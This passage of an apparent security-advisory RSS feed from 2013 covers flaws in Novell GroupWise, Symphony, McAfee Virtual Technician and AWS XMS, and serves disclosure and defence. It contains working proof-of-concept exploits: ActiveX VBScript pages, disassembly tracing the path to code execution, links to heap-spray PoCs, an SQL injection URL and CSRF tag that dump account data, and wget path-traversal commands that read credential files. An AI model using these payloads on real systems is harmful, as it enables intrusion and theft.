color="#808000"&gt;object&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;html&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;b&gt;Code execution PoC:&lt;/b&gt;&lt;br /&gt; The following PoC code will first spray the heap with the 0x0C byte, as a typical "No Operation" sled for a heap-spray exploitation. Following this the 0xCC byte (Interrupt 3 - trap to debugger) illustrates the beginning of shellcode.&lt;br /&gt; &lt;a href="https://www.htbridge.com/advisory/HTB23131_POC_1.zip"&gt;https://www.htbridge.com/advisory/HTB23131_POC_1.zip&lt;/a&gt;&lt;br /&gt; Archive's Password: HTB23131_novell(gw)&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1.2 The vulnerability exists due to an untrusted pointer dereference error in the &lt;b&gt;GenerateSummaryPage()&lt;/b&gt; method within the ActiveX control (&lt;b&gt;gwabdlg.dll&lt;/b&gt;, GUID &lt;b&gt;{54AD9EC4-BB4A-4D66-AE1E-D6780930B9EF}&lt;/b&gt;, located by default in "&lt;b&gt;C:\Program Files\Novell\GroupWise\gwabdlg.dll&lt;/b&gt;".&lt;br /&gt; &lt;br /&gt; A remote attacker can pass an arbitrary value to the &lt;b&gt;pInvokeParams&lt;/b&gt; argument of the &lt;b&gt;GenerateSummaryPage()&lt;/b&gt; method and trigger the ACCESS_VIOLATION exception on a MOV EAX, DWORD PTR [EAX+4] instruction. &lt;br /&gt; &lt;br /&gt; Since it is conceivable to supply a custom pointer, an attacker can exploit this vulnerability relying on the heap-spray technique. After the crash, the application moves the value of the supplied pointer plus four bytes into the EAX register.&lt;br /&gt; &lt;br /&gt; &lt;b&gt;5722D301 8B40 04 MOV EAX,DWORD PTR DS:[EAX+4]&lt;/b&gt;&lt;br /&gt; &lt;br /&gt; Later this value will be allocated into the stack:&lt;br /&gt; &lt;br /&gt; &lt;b&gt;5722D304 8985 24FFFFFF MOV DWORD PTR SS:[EBP-DC],EAX&lt;/b&gt;&lt;br /&gt; &lt;br /&gt; The code continues its flow and enters a switch case algorithm:&lt;br /&gt; &lt;font color=#606060&gt;5722D30A 83BD 24FFFFFF 01 CMP DWORD PTR SS:[EBP-DC],1&lt;br /&gt; 5722D311 0F84 57010000 JE gwabdlg.5722D46E&lt;br /&gt; 5722D317 83BD 24FFFFFF 02 CMP DWORD PTR SS:[EBP-DC],2&lt;br /&gt; 5722D31E 0F84 00010000 JE gwabdlg.5722D424&lt;/font&gt;&lt;br /&gt; &lt;b&gt;5722D324 83BD 24FFFFFF 03 CMP DWORD PTR SS:[EBP-DC],3&lt;/b&gt;&lt;br /&gt; &lt;font color=#606060&gt;5722D32B 0F84 83010000 JE gwabdlg.5722D4B4&lt;br /&gt; 5722D331 83BD 24FFFFFF 04 CMP DWORD PTR SS:[EBP-DC],4&lt;br /&gt; 5722D338 0F84 AF020000 JE gwabdlg.5722D5ED&lt;br /&gt; 5722D33E 83BD 24FFFFFF 05 CMP DWORD PTR SS:[EBP-DC],5&lt;br /&gt; 5722D345 0F84 9A030000 JE gwabdlg.5722D6E5&lt;br /&gt; 5722D34B 83BD 24FFFFFF 06 CMP DWORD PTR SS:[EBP-DC],6&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; If an attacker can specify a custom switch value, in this case the number 3, it will jump to address &lt;b&gt;0x5722D4B4&lt;/b&gt;&lt;br /&gt; &lt;font color=#606060&gt;5722D4B4 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]&lt;br /&gt; 5722D4B7 8945 D4 MOV DWORD PTR SS:[EBP-2C],EAX&lt;br /&gt; 5722D4BA 8365 D8 00 AND DWORD PTR SS:[EBP-28],0&lt;br /&gt; 5722D4BE 8D45 D8 LEA EAX,DWORD PTR SS:[EBP-28]&lt;br /&gt; 5722D4C1 50 PUSH EAX&lt;br /&gt; 5722D4C2 68 58122D57 PUSH gwabdlg.572D1258&lt;br /&gt; 5722D4C7 8B45 D4 MOV EAX,DWORD PTR SS:[EBP-2C]&lt;br /&gt; 5722D4CA 8B40 30 MOV EAX,DWORD PTR DS:[EAX+30]&lt;br /&gt; 5722D4CD 8B4D D4 MOV ECX,DWORD PTR SS:[EBP-2C]&lt;br /&gt; 5722D4D0 8B49 30 MOV ECX,DWORD PTR DS:[ECX+30]&lt;/font&gt;&lt;br /&gt; &lt;b&gt;5722D4D3 8B00 MOV EAX,DWORD PTR DS:[EAX]&lt;/b&gt;&lt;br /&gt; &lt;font color=#606060&gt;5722D4D5 51 PUSH ECX&lt;/font&gt;&lt;br /&gt; &lt;b&gt;5722D4D6 FF10 CALL DWORD PTR DS:[EAX]&lt;/b&gt;&lt;br /&gt; &lt;br /&gt; After entering into this function, and since the EAX register is completely under the attacker control, it is possible to supply another custom pointer that will be executed after the code reaches the &lt;b&gt;CALL DWORD PTR DS:[EAX]&lt;/b&gt; instruction.&lt;br /&gt; &lt;font color=#606060&gt;0C0C0C0C 0C 0C OR AL,0C&lt;br /&gt; 0C0C0C0E 0C 0C OR AL,0C&lt;br /&gt; 0C0C0C10 0300 ADD EAX,DWORD PTR DS:[EAX]&lt;br /&gt; 0C0C0C12 0000 ADD BYTE PTR DS:[EAX],AL&lt;br /&gt; 0C0C0C14 0C 0C OR AL,0C&lt;br /&gt; 0C0C0C16 0C 0C OR AL,0C&lt;br /&gt; 0C0C0C18 0C 0C OR AL,0C&lt;br /&gt; 0C0C0C1A 0C 0C OR AL,0C&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;b&gt;Crash details:&lt;/b&gt;&lt;br /&gt; &lt;font color=#606060&gt;(162c.5ae0): Access violation - code c0000005 (first chance)&lt;br /&gt; First chance exceptions are reported before any exception handling.&lt;br /&gt; This exception may be expected and handled.&lt;br /&gt; eax=0c0c0c08 ebx=572caacc ecx=57307f00 edx=0029677a esi=00296754 edi=001deda4&lt;br /&gt; eip=5722d301 esp=001dec3c ebp=001ded24 iopl=0 nv up ei pl nz na po nc&lt;br /&gt; cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202&lt;br /&gt; *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Novell\GroupWise\gwabdlg.dll - &lt;br /&gt; gwabdlg!DllUnregisterServer+0x4c10e:&lt;br /&gt; 5722d301 8b4004 mov eax,dword ptr [eax+4] ds:0023:0c0c0c0c=????????&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;b&gt;The following PoC will crash Internet Explorer 7/8/9:&lt;/b&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;html&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;!--&lt;/font&gt; (c)oded by High-Tech Bridge Security Research Lab --&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;head&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;title&lt;/font&gt;&amp;gt;&lt;/font&gt;Novell GroupWise Multiple Remote Code Execution vulnerabilities v.12.0.0.8586&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;title&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;head&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt; &lt;font color="#800080"&gt;language&lt;/font&gt;=&lt;font color="#FF00FF"&gt;'vbscript'&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; Sub PoC()&lt;br /&gt; arg1=202116108&lt;br /&gt; &lt;font color="#800080"&gt;arg2&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;defaultV&amp;quot;&lt;/font&gt;&lt;br /&gt; &lt;font color="#800080"&gt;arg3&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;defaultV&amp;quot;&lt;/font&gt;&lt;br /&gt; target.GenerateSummaryPage arg1 ,arg2 ,arg3&lt;br /&gt; End Sub&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;body&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;h3&lt;/font&gt;&amp;gt;&lt;/font&gt; Novell GroupWise Multiple Remote Code Execution vulnerabilities v.12.0.0.8586&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;h3&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;h4&lt;/font&gt;&amp;gt;&lt;/font&gt;Untrusted Pointer Dereference PoC&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;h4&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;hr&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; This simple PoC will crash Internet Explorer v9.0 when trying to read the arbitrary address &lt;br /&gt; 0x0c0c0c0c.&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;BR&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;BR&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; language=VBScript onclick=PoC() type=button &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;Proof of Concept&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;body&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;object&lt;/font&gt; &lt;font color="#800080"&gt;classid&lt;/font&gt;=&lt;font color="#FF00FF"&gt;'clsid:54AD9EC4-BB4A-4D66-AE1E-D6780930B9EF'&lt;/font&gt;&lt;br /&gt; &lt;font color="#800080"&gt;id&lt;/font&gt;=&lt;font color="#FF00FF"&gt;'Target'&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;object&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;html&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;b&gt;Code execution PoC:&lt;/b&gt;&lt;br /&gt; The following PoC code will first spray the heap with the 0x0C byte, as a typical "No Operation" sled for a heap-spray exploitation. Following this the 0xCC byte (Interrupt 3 - trap to debugger) illustrates the beginning of shellcode.&lt;br /&gt; &lt;a href="https://www.htbridge.com/advisory/HTB23131_POC_2.zip"&gt;https://www.htbridge.com/advisory/HTB23131_POC_2.zip&lt;/a&gt;&lt;br /&gt; Archive's Password: HTB23131_novell(gw)&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1.3 The vulnerability exists due to an untrusted pointer dereference error in the &lt;b&gt;SecManageRecipientCertificates()&lt;/b&gt; method within the ActiveX control (&lt;b&gt;gwmim1.ocx&lt;/b&gt;, GUID &lt;b&gt;{BFEC5A01-1EB1-11D1-BC96-00805FC1C85A}&lt;/b&gt;, located by default in "&lt;b&gt;C:\Program Files\Novell\GroupWise\gwmim1.ocx&lt;/b&gt;".&lt;br /&gt; &lt;br /&gt; A remote attacker can pass an arbitrary value to the &lt;b&gt;lProp&lt;/b&gt; argument of the &lt;b&gt;SecManageRecipientCertificates()&lt;/b&gt; method and trigger the ACCESS_VIOLATION exception on a MOV EDX,DWORD PTR DS:[ECX] instruction. &lt;br /&gt; Since it is possible to supply a specially crafted pointer, an attacker can abuse this flaw relying on the heap-spray technique. After the crash, the application moves the value of the supplied pointer into the EDX register.&lt;br /&gt; &lt;b&gt;10014805 MOV EDX,DWORD PTR DS:[ECX]&lt;/b&gt;&lt;br /&gt; &lt;br /&gt; Later the same operation is performed, however this time it is the EAX register that inherits the untrusted pointer value.&lt;br /&gt; &lt;b&gt;10014807 MOV EAX,DWORD PTR DS:[EDX]&lt;/b&gt;&lt;br /&gt; &lt;br /&gt; Eventually code execution is reached at the address &lt;b&gt;0x10014809&lt;/b&gt;&lt;br /&gt; &lt;b&gt;10014809 CALL EAX&lt;/b&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;b&gt;Crash details:&lt;/b&gt;&lt;br /&gt; &lt;font color=#606060&gt;(5c78.58f0): Access violation - code c0000005 (first chance)&lt;br /&gt; First chance exceptions are reported before any exception handling.&lt;br /&gt; This exception may be expected and handled.&lt;br /&gt; eax=0275c46c ebx=00000000 ecx=0c0c0c0c edx=0000001b esi=0956de40 edi=00000000&lt;br /&gt; eip=10014805 esp=0275c45c ebp=0275c55c iopl=0 nv up ei pl nz na pe nc&lt;br /&gt; cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206&lt;br /&gt; *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\PROGRA~1\Novell\GROUPW~1\gwmim1.ocx - &lt;br /&gt; gwmim1!DllUnregisterServer+0x8cb5:&lt;br /&gt; 10014805 8b11 mov edx,dword ptr [ecx] ds:0023:0c0c0c0c=????????&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;b&gt;The following PoC will crash Internet Explorer 7/8/9:&lt;/b&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;html&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;!--&lt;/font&gt; (c)oded by High-Tech Bridge Security Research Lab --&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;head&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;title&lt;/font&gt;&amp;gt;&lt;/font&gt;Novell GroupWise Multiple Remote Code Execution vulnerabilities v.12.0.0.8586&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;title&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;head&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt; &lt;font color="#800080"&gt;language&lt;/font&gt;=&lt;font color="#FF00FF"&gt;'vbscript'&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; Sub PoC()&lt;br /&gt; arg1=202116108&lt;br /&gt; target.SecManageRecipientCertificates arg1&lt;br /&gt; End Sub&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;body&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;h3&lt;/font&gt;&amp;gt;&lt;/font&gt;Novell GroupWise Multiple Remote Code Execution vulnerabilities v.12.0.0.8586&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;h3&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;h4&lt;/font&gt;&amp;gt;&lt;/font&gt; Untrusted Pointer Dereference PoC &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;h4&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;hr&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; This simple PoC will crash Internet Explorer v9.0 when trying to read the arbitrary address 0x0c0c0c0c.&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;BR&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;BR&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; language=VBScript onclick=PoC() type=button &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;Proof of Concept&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;body&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;object&lt;/font&gt; &lt;font color="#800080"&gt;classid='clsid:BFEC5A01-1EB1-11D1-BC96-00805FC1C85A'id&lt;/font&gt;=&lt;font color="#FF00FF"&gt;'Target'&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;object&lt;/font&gt;&amp;gt;&lt;/font&gt; &lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;html&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;b&gt;Code execution PoC:&lt;/b&gt;&lt;br /&gt; The following PoC code will first spray the heap with the 0x0C byte, as a typical "No Operation" sled for a heap-spray exploitation. Following this the 0xCC byte (Interrupt 3 - trap to debugger) illustrates the beginning of shellcode.&lt;br /&gt; &lt;a href="https://www.htbridge.com/advisory/HTB23131_POC_3.zip"&gt;https://www.htbridge.com/advisory/HTB23131_POC_3.zip&lt;/a&gt;&lt;br /&gt; Archive's Password: HTB23131_novell(gw)&lt;br /&gt; </description><guid isPermaLink="true">https://www.htbridge.com/advisory/HTB23131</guid><category><![CDATA[webappsec]]></category><pubDate>Wed, 03 Apr 2013 00:00:00 +0200</pubDate></item><item><title>[HTB23148]: SQL Injection Vulnerability in Symphony</title><link>https://www.htbridge.com/advisory/HTB23148</link><description>&lt;b&gt;Product:&lt;/b&gt; Symphony v2.3.1&lt;br&gt;&lt;b&gt;Vulnerability Type:&lt;/b&gt; SQL Injection [CWE-89]&lt;br&gt;&lt;b&gt;Risk level: &lt;/b&gt;Medium &lt;img src="https://www.htbridge.com/images/risk2.png" style='margin-bottom:4px;'&gt;&lt;br /&gt;&lt;b&gt;Creater:&lt;/b&gt; http://getsymphony.com/&lt;br&gt;&lt;b&gt;Vendor Notification:&lt;/b&gt; 2013-03-13 13:13:50&lt;br&gt;&lt;b&gt;Public Disclosure:&lt;/b&gt; April 3, 2013 &lt;br&gt;&lt;b&gt;CVE Reference:&lt;/b&gt; CVE-2013-2559&lt;br&gt; &lt;b&gt;CVSSv2 Base Score:&lt;/b&gt; 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)&lt;br&gt; &lt;b&gt;Vulnerability Details:&lt;/b&gt; High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in Symphony, which can be exploited to alter SQL requests to database of the vulnerable application.&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1) SQL Injection in Symphony: CVE-2013-2559&lt;br /&gt; &lt;br /&gt; The vulnerability exists due to insufficient filtration of "sort" HTTP GET parameter passed via "/symphony/system/authors/" URL to "/index.php" script. A remote authenticated administrator can execute arbitrary SQL commands in the application's database.&lt;br /&gt; &lt;br /&gt; Depending on database and system configuration, this PoC (Proof of Concept) code will create "/var/www/file.txt" file, containing users account information (logins, hashed passwords, etc.) from the "authors" table:&lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;http://[host]/symphony/system/authors/?order=asc&amp;amp;sort=id%20INTO%20OUTFILE%20%27/var/www/file.txt%27%20--%20&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; This vulnerability could also be exploited by a remote non-authenticated attacker via CSRF vector, since the application is prone to Cross-Site Request Forgery (CSRF) attacks. In order to do so an attacker should trick the logged-in administrator to visit a web page with CSRF exploit:&lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;&amp;lt;img src=&amp;quot;http://[host]/symphony/system/authors/?order=asc&amp;amp;sort=id%20INTO%20OUTFILE%20%27/var/www/file.txt%27%20--%20&amp;quot;&amp;gt;&lt;/font&gt;</description><guid isPermaLink="true">https://www.htbridge.com/advisory/HTB23148</guid><category><![CDATA[webappsec]]></category><category><![CDATA[SQL Injection]]></category><pubDate>Wed, 03 Apr 2013 00:00:00 +0200</pubDate></item><item><title>[HTB23128]: McAfee Virtual Technician ActiveX Control Insecure Method</title><link>https://www.htbridge.com/advisory/HTB23128</link><description>&lt;b&gt;Product:&lt;/b&gt; McAfee Virtual Technician (MVT) 6.5.0.2101 v6.5.0.2101 and probably prior&lt;br&gt;&lt;b&gt;Vulnerability Type:&lt;/b&gt; Exposed Unsafe ActiveX Method [CWE-618]&lt;br&gt;&lt;b&gt;Risk level: &lt;/b&gt;Medium &lt;img src="https://www.htbridge.com/images/risk2.png" style='margin-bottom:4px;'&gt;&lt;br /&gt;&lt;b&gt;Creater:&lt;/b&gt; McAfee&lt;br&gt;&lt;b&gt;Vendor Notification:&lt;/b&gt; 2012-11-19 12:00:00&lt;br&gt;&lt;b&gt;Public Disclosure:&lt;/b&gt; March 27, 2013 &lt;br&gt;&lt;b&gt;CVE Reference:&lt;/b&gt; CVE-2012-5879&lt;br&gt; &lt;b&gt;CVSSv2 Base Score:&lt;/b&gt; 5.8 (AV:N/AC:M/Au:N/C:N/I:P/A:P)&lt;br&gt; &lt;b&gt;Vulnerability Details:&lt;/b&gt; High-Tech Bridge Security Research Lab discovered vulnerability in McAfee Virtual Technician ActiveX control, which can be exploited by remote malicious person to overwrite arbitrary files with garbage data on a vulnerable system.&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1) Insecure method in McAfee Virtual Technician ActiveX control: CVE-2012-5879&lt;br /&gt; &lt;br /&gt; The vulnerability exists due to the ActiveX control including the insecure "Save()" method in "McHealthCheck.dll" DLL. This can be exploited to corrupt or create arbitrary files in the context of the current user.&lt;br /&gt; &lt;br /&gt; The following PoC code is available:&lt;br /&gt; &lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;html&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;h4&lt;/font&gt;&amp;gt;&lt;/font&gt;McAfee Virtual Technician [McHealthCheck.dll] v.6.5.0.2101&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;h4&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;h5&lt;/font&gt;&amp;gt;&lt;/font&gt;This proof of concepts creates an arbitrary file in a system [Windows 7, SP1 with IE 9.0] by leveraging the McHealthCheck.dll ActiveX module and the method &amp;quot;Save()&amp;quot;:&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;h5&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;object&lt;/font&gt; &lt;font color="#800080"&gt;classid&lt;/font&gt;=&lt;font color="#FF00FF"&gt;'clsid:24565A99-ADDA-47B9-9E86-3C4C3360E256'&lt;/font&gt; &lt;font color="#800080"&gt;id&lt;/font&gt;=&lt;font color="#FF00FF"&gt;'target'&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;object&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;button&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;Boom!&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;language&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;VBScript&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;OnClick&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;CreateArbitraryFile()&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt; &lt;font color="#800080"&gt;language&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;VBScript&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; sub CreateArbitraryFile()&lt;br /&gt; &lt;font color="#800080"&gt;arg1&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;FilePath\File_name_to_corrupt_or_create&amp;quot;&lt;/font&gt;&lt;br /&gt; target.Save arg1 &lt;br /&gt; End Sub&lt;br /&gt; &lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;html&lt;/font&gt;&amp;gt;&lt;/font&gt;</description><guid isPermaLink="true">https://www.htbridge.com/advisory/HTB23128</guid><category><![CDATA[webappsec]]></category><pubDate>Wed, 27 Mar 2013 00:00:00 +0100</pubDate></item><item><title>[HTB23147]: Path Traversal in AWS XMS</title><link>https://www.htbridge.com/advisory/HTB23147</link><description>&lt;b&gt;Product:&lt;/b&gt; AWS XMS v2.5&lt;br&gt;&lt;b&gt;Vulnerability Type:&lt;/b&gt; Path Traversal [CWE-22]&lt;br&gt;&lt;b&gt;Risk level: &lt;/b&gt;Medium &lt;img src="https://www.htbridge.com/images/risk2.png" style='margin-bottom:4px;'&gt;&lt;br /&gt;&lt;b&gt;Creater:&lt;/b&gt; http://www.aws-dms.com&lt;br&gt;&lt;b&gt;Vendor Notification:&lt;/b&gt; 2013-03-06 13:51:31&lt;br&gt;&lt;b&gt;Public Disclosure:&lt;/b&gt; March 27, 2013 &lt;br&gt;&lt;b&gt;CVE Reference:&lt;/b&gt; CVE-2013-2474&lt;br&gt; &lt;b&gt;CVSSv2 Base Score:&lt;/b&gt; 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N)&lt;br&gt; &lt;b&gt;Vulnerability Details:&lt;/b&gt; High-Tech Bridge Security Research Lab discovered path traversal vulnerability in AWS XMS, which can be exploited to read contents of arbitrary files.&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1) Path Traversal in AWS XMS: CVE-2013-2474&lt;br /&gt; &lt;br /&gt; The vulnerability exists due to insufficient filtration of "what" HTTP GET parameter passed to "/importer.php" script before using it in PHP "file()" function. A remote attacker can read contents of arbitrary files on the target system.&lt;br /&gt; &lt;br /&gt; The vulnerable script sets "text/javascript" Content-Type for the output data, which makes exploitation of the vulnerability via a web browser inconvenient. Exploitation via telnet or wget utilities is easier. &lt;br /&gt; &lt;br /&gt; The following PoC (Proof of Concept) code uses wget utility to download source code of "/default.php" file, which contains application configuration data and administrator’s credentials:&lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;wget http://[host]/importer.php?what=defaults.php%00.js&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; To bypass protections against NULL-byte injection (implemented in PHP 5.3.4 and later versions) or enabled "magic_quotes_gpc", alternative techniques based on path normalization and length restrictions can be used.&lt;br /&gt; &lt;br /&gt; The second PoC code uses a large amount of '/' symbols (4096 is sufficient for the majority of platforms) to bypass the restrictions and get source code of the "/default.php" file:&lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;wget http://[host]/importer.php?what=defaults.php///////...//////.js&lt;/font&gt;</description><guid isPermaLink="true">https://www.htbridge.com/advisory/HTB23147</guid><category><![CDATA[webappsec]]></category><pubDate>Wed, 27 Mar 2013 00:00:00 +0100</pubDate></item><item><title>[HTB23114]: Untrusted Pointer Dereference Vulnerability in Corel WordPerfect X6</title><link>https://www.htbridge.com/advisory/HTB23114</link><description>&lt;b&gt;Product:&lt;/b&gt; Corel WordPerfect X6 Standard Edition v16.0.0.388, other versions may be also affected&lt;br&gt;&lt;b&gt;Vulnerability Type:&lt;/b&gt; Untrusted Pointer Dereference [CWE-822]&lt;br&gt;&lt;b&gt;Risk level: 